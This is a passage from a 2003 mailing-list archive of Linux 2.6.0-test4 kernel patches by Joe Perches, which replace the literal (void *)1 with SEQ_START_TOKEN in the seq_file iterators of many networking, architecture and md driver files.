SEQ_START_TOKEN) { rc = arp_get_idx(seq, 0); goto out; } @@ -1306,7 +1306,7 @@ { struct arp_iter_state* state = seq->private; - if (!state->is_pneigh && v != (void *)1) + if (!state->is_pneigh && v != SEQ_START_TOKEN) read_unlock_bh(&arp_tbl.lock); } @@ -1359,7 +1359,7 @@ static int arp_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_puts(seq, "IP address HW type Flags " "HW address Mask Device\n"); else { diff -urN linux-2.6.0-test4/net/ipv4/fib_hash.c SEQ_START_TOKEN/net/ipv4/fib_hash.c -- linux-2.6.0-test4/net/ipv4/fib_hash.c 2003-08-22 16:55:42.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv4/fib_hash.c 2003-09-04 20:06:39.000000000 -0700 @@ -979,14 +979,14 @@ read_lock(&fib_hash_lock); if (ip_fib_main_table) - v = *pos ? fib_get_next(seq) : (void *)1; + v = *pos ? fib_get_next(seq) : SEQ_START_TOKEN; return v; } static void *fib_seq_next(struct seq_file *seq, void *v, loff_t *pos) { ++*pos; - return v == (void *)1 ? fib_get_first(seq) : fib_get_next(seq); + return v == SEQ_START_TOKEN ? fib_get_first(seq) : fib_get_next(seq); } static void fib_seq_stop(struct seq_file *seq, void *v) @@ -1025,7 +1025,7 @@ struct fib_node *f; struct fib_info *fi; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%-127s\n", "Iface\tDestination\tGateway " "\tFlags\tRefCnt\tUse\tMetric\tMask\t\tMTU" "\tWindow\tIRTT"); diff -urN linux-2.6.0-test4/net/ipv4/igmp.c SEQ_START_TOKEN/net/ipv4/igmp.c -- linux-2.6.0-test4/net/ipv4/igmp.c 2003-09-02 12:52:45.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv4/igmp.c 2003-09-04 20:08:40.000000000 -0700 @@ -2162,13 +2162,13 @@ static void *igmp_mc_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mc_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp_mc_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *igmp_mc_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip_mc_list *im; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) im = igmp_mc_get_first(seq); else im = igmp_mc_get_next(seq, v); @@ -2190,7 +2190,7 @@ static int igmp_mc_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "Idx\tDevice : Count Querier\tGroup Users Timer\tReporter\n"); else { @@ -2337,13 +2337,13 @@ static void *igmp_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mcf_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp_mcf_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *igmp_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip_sf_list *psf; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) psf = igmp_mcf_get_first(seq); else psf = igmp_mcf_get_next(seq, v); @@ -2372,7 +2372,7 @@ struct ip_sf_list *psf = (struct ip_sf_list *)v; struct igmp_mcf_iter_state *state = igmp_mcf_seq_private(seq); - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%3s %6s " "%10s %10s %6s %6s\n", "Idx", diff -urN linux-2.6.0-test4/net/ipv4/raw.c SEQ_START_TOKEN/net/ipv4/raw.c -- linux-2.6.0-test4/net/ipv4/raw.c 2003-08-22 16:56:34.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv4/raw.c 2003-09-04 20:06:37.000000000 -0700 @@ -736,14 +736,14 @@ static void *raw_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v4_lock); - return *pos ? raw_get_idx(seq, *pos) : (void *)1; + return *pos ? raw_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *raw_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct sock *sk; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) sk = raw_get_first(seq); else sk = raw_get_next(seq, v); @@ -778,7 +778,7 @@ { char tmpbuf[129]; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "%-127s\n", " sl local_address rem_address st tx_queue " "rx_queue tr tm->when retrnsmt uid timeout " diff -urN linux-2.6.0-test4/net/ipv4/route.c SEQ_START_TOKEN/net/ipv4/route.c -- linux-2.6.0-test4/net/ipv4/route.c 2003-09-02 12:52:46.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv4/route.c 2003-09-04 20:29:01.000000000 -0700 @@ -259,14 +259,14 @@ static void *rt_cache_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? rt_cache_get_idx(seq, *pos) : (void *)1; + return *pos ? rt_cache_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *rt_cache_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct rtable *r = NULL; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) r = rt_cache_get_first(seq); else r = rt_cache_get_next(seq, v); @@ -276,13 +276,13 @@ static void rt_cache_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void *)1) + if (v && v != SEQ_START_TOKEN) rcu_read_unlock(); } static int rt_cache_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "%-127s\n", "Iface\tDestination\tGateway \tFlags\t\tRefCnt\tUse\t" "Metric\tSource\t\tMTU\tWindow\tIRTT\tTOS\tHHRef\t" diff -urN linux-2.6.0-test4/net/ipv4/tcp_ipv4.c SEQ_START_TOKEN/net/ipv4/tcp_ipv4.c -- linux-2.6.0-test4/net/ipv4/tcp_ipv4.c 2003-08-22 16:53:54.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv4/tcp_ipv4.c 2003-09-04 20:52:09.000000000 -0700 @@ -2351,7 +2351,7 @@ static void *tcp_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? tcp_get_idx(seq, *pos - 1) : (void *)1; + return *pos ? tcp_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *tcp_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -2359,7 +2359,7 @@ void *rc = NULL; struct tcp_iter_state* st; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { rc = tcp_get_idx(seq, 0); goto out; } @@ -2397,7 +2397,7 @@ read_unlock_bh(&tp->syn_wait_lock); } case TCP_SEQ_STATE_LISTENING: - if (v != (void *)1) + if (v != SEQ_START_TOKEN) tcp_listen_unlock(); break; case TCP_SEQ_STATE_TIME_WAIT: @@ -2559,7 +2559,7 @@ struct tcp_iter_state* st; char tmpbuf[TMPSZ + 1]; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%-*s\n", TMPSZ - 1, " sl local_address rem_address st tx_queue " "rx_queue tr tm->when retrnsmt uid timeout " diff -urN linux-2.6.0-test4/net/ipv4/udp.c SEQ_START_TOKEN/net/ipv4/udp.c -- linux-2.6.0-test4/net/ipv4/udp.c 2003-08-22 16:52:55.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv4/udp.c 2003-09-04 19:58:50.000000000 -0700 @@ -1380,7 +1380,7 @@ static void *udp_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&udp_hash_lock); - return *pos ? udp_get_bucket(seq, pos) : (void *)1; + return *pos ? udp_get_bucket(seq, pos) : SEQ_START_TOKEN; } static void *udp_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -1389,7 +1389,7 @@ struct hlist_node *node; struct udp_iter_state *state; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { sk = udp_get_bucket(seq, pos); goto out; } @@ -1496,7 +1496,7 @@ static int udp4_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "%-127s\n", " sl local_address rem_address st tx_queue " "rx_queue tr tm->when retrnsmt uid timeout " diff -urN linux-2.6.0-test4/net/ipv6/addrconf.c SEQ_START_TOKEN/net/ipv6/addrconf.c -- linux-2.6.0-test4/net/ipv6/addrconf.c 2003-08-22 17:00:35.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv6/addrconf.c 2003-09-04 20:17:07.000000000 -0700 @@ -2171,7 +2171,7 @@ static void *if6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&addrconf_hash_lock); - return *pos ? if6_get_bucket(seq, pos) : (void *)1; + return *pos ? if6_get_bucket(seq, pos) : SEQ_START_TOKEN; } static void *if6_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -2179,7 +2179,7 @@ struct inet6_ifaddr *ifa; struct if6_iter_state *state; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { ifa = if6_get_bucket(seq, pos); goto out; } @@ -2215,7 +2215,7 @@ static int if6_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) return 0; else if6_iface_seq_show(seq, v); diff -urN linux-2.6.0-test4/net/ipv6/ip6_flowlabel.c SEQ_START_TOKEN/net/ipv6/ip6_flowlabel.c -- linux-2.6.0-test4/net/ipv6/ip6_flowlabel.c 2003-08-22 16:53:09.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv6/ip6_flowlabel.c 2003-09-04 20:15:36.000000000 -0700 @@ -599,14 +599,14 @@ static void *ip6fl_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&ip6_fl_lock); - return *pos ? ip6fl_get_idx(seq, *pos) : (void *)1; + return *pos ? ip6fl_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *ip6fl_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip6_flowlabel *fl; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) fl = ip6fl_get_first(seq); else fl = ip6fl_get_next(seq, v); @@ -640,7 +640,7 @@ static int ip6fl_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "Label S Owner Users Linger Expires " "Dst Opt\n"); else diff -urN linux-2.6.0-test4/net/ipv6/mcast.c SEQ_START_TOKEN/net/ipv6/mcast.c -- linux-2.6.0-test4/net/ipv6/mcast.c 2003-09-02 12:52:46.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv6/mcast.c 2003-09-04 20:29:18.000000000 -0700 @@ -2278,13 +2278,13 @@ static void *igmp6_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp6_mcf_get_idx(seq, *pos) : (void *)1; + return *pos ? igmp6_mcf_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *igmp6_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct ip6_sf_list *psf; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) psf = igmp6_mcf_get_first(seq); else psf = igmp6_mcf_get_next(seq, v); @@ -2313,7 +2313,7 @@ struct ip6_sf_list *psf = (struct ip6_sf_list *)v; struct igmp6_mcf_iter_state *state = igmp6_mcf_seq_private(seq); - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "%3s %6s " "%32s %32s %6s %6s\n", "Idx", diff -urN linux-2.6.0-test4/net/ipv6/raw.c SEQ_START_TOKEN/net/ipv6/raw.c -- linux-2.6.0-test4/net/ipv6/raw.c 2003-08-22 16:54:29.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv6/raw.c 2003-09-04 20:15:32.000000000 -0700 @@ -961,14 +961,14 @@ static void *raw6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v6_lock); - return *pos ? raw6_get_idx(seq, *pos) : (void *)1; + return *pos ? raw6_get_idx(seq, *pos) : SEQ_START_TOKEN; } static void *raw6_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct sock *sk; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) sk = raw6_get_first(seq); else sk = raw6_get_next(seq, v); @@ -1010,7 +1010,7 @@ static int raw6_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, " sl " "local_address " diff -urN linux-2.6.0-test4/net/ipv6/tcp_ipv6.c SEQ_START_TOKEN/net/ipv6/tcp_ipv6.c -- linux-2.6.0-test4/net/ipv6/tcp_ipv6.c 2003-08-22 16:56:34.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv6/tcp_ipv6.c 2003-09-04 20:17:17.000000000 -0700 @@ -2027,7 +2027,7 @@ { struct tcp_iter_state *st; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, " sl " "local_address " diff -urN linux-2.6.0-test4/net/ipv6/udp.c SEQ_START_TOKEN/net/ipv6/udp.c -- linux-2.6.0-test4/net/ipv6/udp.c 2003-08-22 16:58:49.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv6/udp.c 2003-09-04 20:17:13.000000000 -0700 @@ -1113,7 +1113,7 @@ static int udp6_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, " sl " "local_address " diff -urN linux-2.6.0-test4/net/ipx/ipx_proc.c SEQ_START_TOKEN/net/ipx/ipx_proc.c -- linux-2.6.0-test4/net/ipx/ipx_proc.c 2003-08-22 16:50:53.000000000 -0700 +++ SEQ_START_TOKEN/net/ipx/ipx_proc.c 2003-09-04 20:13:59.000000000 -0700 @@ -39,7 +39,7 @@ loff_t l = *pos; spin_lock_bh(&ipx_interfaces_lock); - return l ? ipx_get_interface_idx(--l) : (void *)1; + return l ? ipx_get_interface_idx(--l) : SEQ_START_TOKEN; } static void *ipx_seq_interface_next(struct seq_file *seq, void *v, loff_t *pos) @@ -47,7 +47,7 @@ struct ipx_interface *i; ++*pos; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) i = ipx_interfaces_head(); else i = ipx_interfaces_next(v); @@ -63,7 +63,7 @@ { struct ipx_interface *i; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Network Node_Address Primary Device " "Frame_Type"); #ifdef IPX_REFCNT_DEBUG @@ -123,7 +123,7 @@ { loff_t l = *pos; read_lock_bh(&ipx_routes_lock); - return l ? ipx_get_route_idx(--l) : (void *)1; + return l ? ipx_get_route_idx(--l) : SEQ_START_TOKEN; } static void *ipx_seq_route_next(struct seq_file *seq, void *v, loff_t *pos) @@ -131,7 +131,7 @@ struct ipx_route *r; ++*pos; - if (v == (void *)1) + if (v == SEQ_START_TOKEN) r = ipx_routes_head(); else r = ipx_routes_next(v); @@ -147,7 +147,7 @@ { struct ipx_route *rt; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Network Router_Net Router_Node\n"); goto out; } @@ -195,7 +195,7 @@ loff_t l = *pos; spin_lock_bh(&ipx_interfaces_lock); - return l ? ipx_get_socket_idx(--l) : (void *)1; + return l ? ipx_get_socket_idx(--l) : SEQ_START_TOKEN; } static void *ipx_seq_socket_next(struct seq_file *seq, void *v, loff_t *pos) @@ -205,7 +205,7 @@ struct ipx_opt *ipxs; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { sk = NULL; i = ipx_interfaces_head(); if (!i) @@ -245,7 +245,7 @@ struct sock *s; struct ipx_opt *ipxs; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { #ifdef CONFIG_IPX_INTERN seq_puts(seq, "Local_Address " "Remote_Address Tx_Queue " diff -urN linux-2.6.0-test4/net/llc/llc_proc.c SEQ_START_TOKEN/net/llc/llc_proc.c -- linux-2.6.0-test4/net/llc/llc_proc.c 2003-09-02 12:52:46.000000000 -0700 +++ SEQ_START_TOKEN/net/llc/llc_proc.c 2003-09-04 20:11:06.000000000 -0700 @@ -67,7 +67,7 @@ loff_t l = *pos; read_lock_bh(&llc_main_station.sap_list.lock); - return l ? llc_get_sk_idx(--l) : (void *)1; + return l ? llc_get_sk_idx(--l) : SEQ_START_TOKEN; } static void *llc_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -77,7 +77,7 @@ struct llc_sap *sap; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { sk = llc_get_sk_idx(0); goto out; } @@ -123,7 +123,7 @@ struct sock* sk; struct llc_opt *llc; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "SKt Mc local_mac_sap remote_mac_sap " " tx_queue rx_queue st uid link\n"); goto out; @@ -172,7 +172,7 @@ struct sock* sk; struct llc_opt *llc; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Connection list:\n" "dsap state retr txw rxw pf ff sf df rs cs " "tack tpfc trs tbs blog busr\n"); diff -urN linux-2.6.0-test4/net/rxrpc/proc.c SEQ_START_TOKEN/net/rxrpc/proc.c -- linux-2.6.0-test4/net/rxrpc/proc.c 2003-08-22 16:57:07.000000000 -0700 +++ SEQ_START_TOKEN/net/rxrpc/proc.c 2003-09-04 20:30:33.000000000 -0700 @@ -226,7 +226,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -248,7 +248,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_proc_transports.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_proc_transports.next : _p->next; return _p!=&rxrpc_proc_transports ? _p : NULL; } /* end rxrpc_proc_transports_next() */ @@ -272,7 +272,7 @@ struct rxrpc_transport *trans = list_entry(v,struct rxrpc_transport,proc_link); /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "LOCAL USE\n"); return 0; } @@ -319,7 +319,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -341,7 +341,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_peers.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_peers.next : _p->next; return _p!=&rxrpc_peers ? _p : NULL; } /* end rxrpc_proc_peers_next() */ @@ -366,7 +366,7 @@ signed long timeout; /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m,"LOCAL REMOTE USAGE CONNS TIMEOUT MTU RTT(uS)\n"); return 0; } @@ -422,7 +422,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -444,7 +444,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_conns.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_conns.next : _p->next; return _p!=&rxrpc_conns ? _p : NULL; } /* end rxrpc_proc_conns_next() */ @@ -469,7 +469,7 @@ signed long timeout; /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "LOCAL REMOTE RPORT SRVC CONN END SERIALNO CALLNO MTU TIMEOUT" "\n"); @@ -530,7 +530,7 @@ /* allow for the header line */ if (!pos) - return (void *)1; + return SEQ_START_TOKEN; pos--; /* find the n'th element in the list */ @@ -552,7 +552,7 @@ (*pos)++; _p = v; - _p = v==(void*)1 ? rxrpc_calls.next : _p->next; + _p = v==SEQ_START_TOKEN ? rxrpc_calls.next : _p->next; return _p!=&rxrpc_calls ? _p : NULL; } /* end rxrpc_proc_calls_next() */ @@ -576,7 +576,7 @@ struct rxrpc_call *call = list_entry(v,struct rxrpc_call,call_link); /* display header on line 1 */ - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "LOCAL REMOT SRVC CONN CALL DIR USE " " L STATE OPCODE ABORT ERRNO\n" diff -urN linux-2.6.0-test4/net/sunrpc/cache.c SEQ_START_TOKEN/net/sunrpc/cache.c -- linux-2.6.0-test4/net/sunrpc/cache.c 2003-08-22 16:56:58.000000000 -0700 +++ SEQ_START_TOKEN/net/sunrpc/cache.c 2003-09-04 20:11:09.000000000 -0700 @@ -1035,7 +1035,7 @@ read_lock(&cd->hash_lock); if (!n--) - return (void *)1; + return SEQ_START_TOKEN; hash = n >> 32; entry = n & ((1LL<<32) - 1); @@ -1060,7 +1060,7 @@ int hash = (*pos >> 32); struct cache_detail *cd = ((struct handle*)m->private)->cd; - if (p == (void *)1) + if (p == SEQ_START_TOKEN) hash = 0; else if (ch->next == NULL) { hash++; @@ -1092,7 +1092,7 @@ struct cache_head *cp = p; struct cache_detail *cd = ((struct handle*)m->private)->cd; - if (p == (void *)1) + if (p == SEQ_START_TOKEN) return cd->cache_show(m, cd, NULL); ifdebug(CACHE) diff -urN linux-2.6.0-test4/net/wanrouter/wanproc.c SEQ_START_TOKEN/net/wanrouter/wanproc.c -- linux-2.6.0-test4/net/wanrouter/wanproc.c 2003-08-22 16:55:39.000000000 -0700 +++ SEQ_START_TOKEN/net/wanrouter/wanproc.c 2003-09-04 20:29:56.000000000 -0700 @@ -86,7 +86,7 @@ lock_kernel(); if (!l--) - return (void *)1; + return SEQ_START_TOKEN; for (wandev = wanrouter_router_devlist; l-- && wandev; wandev = wandev->next) ; @@ -97,7 +97,7 @@ { struct wan_device *wandev = v; (*pos)++; - return (v == (void *)1) ? wanrouter_router_devlist : wandev->next; + return (v == SEQ_START_TOKEN) ? wanrouter_router_devlist : wandev->next; } static void r_stop(struct seq_file *m, void *v) @@ -108,7 +108,7 @@ static int config_show(struct seq_file *m, void *v) { struct wan_device *p = v; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "Device name | port |IRQ|DMA| mem.addr |" "mem.size|option1|option2|option3|option4\n"); return 0; @@ -124,7 +124,7 @@ static int status_show(struct seq_file *m, void *v) { struct wan_device *p = v; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(m, "Device name |protocol|station|interface|" "clocking|baud rate| MTU |ndev|link state\n"); return 0; diff -urN linux-2.6.0-test4/net/x25/x25_proc.c SEQ_START_TOKEN/net/x25/x25_proc.c -- linux-2.6.0-test4/net/x25/x25_proc.c 2003-08-22 16:52:54.000000000 -0700 +++ SEQ_START_TOKEN/net/x25/x25_proc.c 2003-09-04 20:29:43.000000000 -0700 @@ -44,7 +44,7 @@ loff_t l = *pos; read_lock_bh(&x25_route_list_lock); - return l ? x25_get_route_idx(--l) : (void *)1; + return l ? x25_get_route_idx(--l) : SEQ_START_TOKEN; } static void *x25_seq_route_next(struct seq_file *seq, void *v, loff_t *pos) @@ -52,7 +52,7 @@ struct x25_route *rt; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { rt = NULL; if (!list_empty(&x25_route_list)) rt = list_entry(x25_route_list.next, @@ -77,7 +77,7 @@ { struct x25_route *rt; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Address Digits Device\n"); goto out; } @@ -108,7 +108,7 @@ loff_t l = *pos; read_lock_bh(&x25_list_lock); - return l ? x25_get_socket_idx(--l) : (void *)1; + return l ? x25_get_socket_idx(--l) : SEQ_START_TOKEN; } static void *x25_seq_socket_next(struct seq_file *seq, void *v, loff_t *pos) @@ -116,7 +116,7 @@ struct sock *s; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { s = sk_head(&x25_list); goto out; } @@ -137,7 +137,7 @@ struct net_device *dev; const char *devname; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "dest_addr src_addr dev lci st vs vr " "va t t2 t21 t22 t23 Snd-Q Rcv-Q inode\n"); goto out; From joe@perches.com Fri Sep 5 18:47:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 18:48:03 -0700 (PDT) Received: from Perches.com (DSL022.LABridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h861lSx4028639 for ; Fri, 5 Sep 2003 18:47:29 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id TAA13362; Fri, 5 Sep 2003 19:37:06 -0700 Subject: [PATCH] 2.6.0-test4 SEQ_START_TOKEN arch/* (3/6) From: Joe Perches To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1062812848.16851.167.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 05 Sep 2003 18:47:28 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5657 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev diff -urN linux-2.6.0-test4/arch/arm/kernel/setup.c SEQ_START_TOKEN/arch/arm/kernel/setup.c -- linux-2.6.0-test4/arch/arm/kernel/setup.c 2003-08-22 16:56:28.000000000 -0700 +++ SEQ_START_TOKEN/arch/arm/kernel/setup.c 2003-09-04 19:47:27.000000000 -0700 @@ -824,7 +824,7 @@ static void *c_start(struct seq_file *m, loff_t *pos) { - return *pos < 1 ? (void *)1 : NULL; + return *pos < 1 ? SEQ_START_TOKEN : NULL; } static void *c_next(struct seq_file *m, void *v, loff_t *pos) diff -urN linux-2.6.0-test4/arch/arm26/kernel/setup.c SEQ_START_TOKEN/arch/arm26/kernel/setup.c -- linux-2.6.0-test4/arch/arm26/kernel/setup.c 2003-09-02 12:52:32.000000000 -0700 +++ SEQ_START_TOKEN/arch/arm26/kernel/setup.c 2003-09-04 19:47:50.000000000 -0700 @@ -537,7 +537,7 @@ static void *c_start(struct seq_file *m, loff_t *pos) { - return *pos < 1 ? (void *)1 : NULL; + return *pos < 1 ? SEQ_START_TOKEN : NULL; } static void *c_next(struct seq_file *m, void *v, loff_t *pos) diff -urN linux-2.6.0-test4/arch/cris/kernel/setup.c SEQ_START_TOKEN/arch/cris/kernel/setup.c -- linux-2.6.0-test4/arch/cris/kernel/setup.c 2003-08-22 16:59:39.000000000 -0700 +++ SEQ_START_TOKEN/arch/cris/kernel/setup.c 2003-09-04 19:47:55.000000000 -0700 @@ -170,7 +170,7 @@ static void *c_start(struct seq_file *m, loff_t *pos) { /* We only got one CPU... */ - return *pos < 1 ? (void *)1 : NULL; + return *pos < 1 ? SEQ_START_TOKEN : NULL; } static void *c_next(struct seq_file *m, void *v, loff_t *pos) diff -urN linux-2.6.0-test4/arch/m68k/kernel/setup.c SEQ_START_TOKEN/arch/m68k/kernel/setup.c -- linux-2.6.0-test4/arch/m68k/kernel/setup.c 2003-08-22 17:00:51.000000000 -0700 +++ SEQ_START_TOKEN/arch/m68k/kernel/setup.c 2003-09-04 19:47:42.000000000 -0700 @@ -480,7 +480,7 @@ static void *c_start(struct seq_file *m, loff_t *pos) { - return *pos < 1 ? (void *)1 : NULL; + return *pos < 1 ? SEQ_START_TOKEN : NULL; } static void *c_next(struct seq_file *m, void *v, loff_t *pos) { diff -urN linux-2.6.0-test4/arch/parisc/kernel/setup.c SEQ_START_TOKEN/arch/parisc/kernel/setup.c -- linux-2.6.0-test4/arch/parisc/kernel/setup.c 2003-08-22 17:01:28.000000000 -0700 +++ SEQ_START_TOKEN/arch/parisc/kernel/setup.c 2003-09-04 19:47:04.000000000 -0700 @@ -163,7 +163,7 @@ * through CPUs for example. Since we print all cpu info in our * show_cpuinfo() disregarding 'pos' (which I assume is 'v' above) * we only allow for one "position". */ - return ((long)*pos < 1) ? (void *)1 : NULL; + return ((long)*pos < 1) ? SEQ_START_TOKEN : NULL; } static void * From joe@perches.com Fri Sep 5 18:47:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 18:48:17 -0700 (PDT) Received: from Perches.com (DSL022.LABridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h861lhx4028679 for ; Fri, 5 Sep 2003 18:47:43 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id TAA13366; Fri, 5 Sep 2003 19:37:20 -0700 Subject: [PATCH] 2.6.0-test4 SEQ_START_TOKEN drivers/md (4/6) From: Joe Perches To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1062812862.16851.169.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 05 Sep 2003 18:47:42 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5658 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev diff -urN linux-2.6.0-test4/drivers/md/md.c SEQ_START_TOKEN/drivers/md/md.c -- linux-2.6.0-test4/drivers/md/md.c 2003-09-02 12:52:39.000000000 -0700 +++ SEQ_START_TOKEN/drivers/md/md.c 2003-09-04 19:50:46.000000000 -0700 @@ -2858,7 +2858,7 @@ return NULL; if (!l--) /* header */ - return (void*)1; + return SEQ_START_TOKEN; spin_lock(&all_mddevs_lock); list_for_each(tmp,&all_mddevs) @@ -2884,7 +2884,7 @@ return NULL; spin_lock(&all_mddevs_lock); - if (v == (void*)1) + if (v == SEQ_START_TOKEN) tmp = all_mddevs.next; else tmp = mddev->all_mddevs.next; @@ -2896,7 +2896,7 @@ } spin_unlock(&all_mddevs_lock); - if (v != (void*)1) + if (v != SEQ_START_TOKEN) mddev_put(mddev); return next_mddev; @@ -2906,7 +2906,7 @@ { mddev_t *mddev = v; - if (mddev && v != (void*)1 && v != (void*)2) + if (mddev && v != SEQ_START_TOKEN && v != (void*)2) mddev_put(mddev); } 